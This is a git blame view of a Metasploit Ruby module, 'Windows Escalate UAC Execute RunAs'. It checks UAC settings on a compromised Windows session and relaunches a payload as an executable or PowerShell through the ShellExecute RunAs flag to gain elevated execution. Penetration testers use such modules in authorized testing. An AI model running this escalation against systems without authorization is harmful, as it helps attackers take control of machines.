Files
metasploit-gs/modules/exploits/windows/local/ask.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

60 lines
1.7 KiB
Ruby
Raw Normal View History

2012-10-06 00:51:44 -04:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-10-06 00:51:44 -04:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2013-09-05 13:41:25 -05:00
Rank = ExcellentRanking
2013-10-25 14:05:33 -07:00
include Post::Windows::Priv
include Post::Windows::Runas
2013-09-05 13:41:25 -05:00
2014-07-31 23:07:17 +01:00
def initialize(info = {})
super(update_info(info,
2013-09-05 13:41:25 -05:00
'Name' => 'Windows Escalate UAC Execute RunAs',
2014-07-31 23:07:17 +01:00
'Description' => %q(
2013-09-05 13:41:25 -05:00
This module will attempt to elevate execution level using
the ShellExecute undocumented RunAs flag to bypass low
UAC settings.
2014-07-31 23:07:17 +01:00
),
2013-09-05 13:41:25 -05:00
'License' => MSF_LICENSE,
'Author' => [
2014-07-31 23:07:17 +01:00
'mubix', # Original technique
'b00stfr3ak' # Added powershell option
],
2014-07-31 23:07:17 +01:00
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
2013-09-05 13:41:25 -05:00
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-01-03'
2013-09-05 13:41:25 -05:00
))
register_options([
2014-07-31 23:07:17 +01:00
OptString.new('FILENAME', [false, 'File name on disk']),
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
2013-09-05 13:41:25 -05:00
])
end
def exploit
2013-10-25 14:05:33 -07:00
if is_uac_enabled?
2014-07-31 23:07:17 +01:00
print_status 'UAC is Enabled, checking level...'
2014-03-22 17:57:27 +00:00
case get_uac_level
2013-10-25 14:05:33 -07:00
when UAC_NO_PROMPT
2014-07-31 23:07:17 +01:00
print_good 'UAC is not enabled, no prompt for the user'
2013-10-25 14:05:33 -07:00
else
print_status "The user will be prompted, wait for them to click 'Ok'"
2014-03-22 17:57:27 +00:00
end
else
2014-07-31 23:07:17 +01:00
print_good 'UAC is not enabled, no prompt for the user'
2013-09-05 13:41:25 -05:00
end
2014-03-22 17:57:27 +00:00
2014-07-31 23:07:17 +01:00
case datastore['TECHNIQUE']
when 'EXE'
2014-08-01 17:12:04 -07:00
shell_execute_exe(datastore['FILENAME'], datastore['PATH'])
2014-07-31 23:07:17 +01:00
when 'PSH'
2014-08-01 17:12:04 -07:00
shell_execute_psh
2013-09-05 13:41:25 -05:00
end
end
2013-10-25 14:05:33 -07:00
end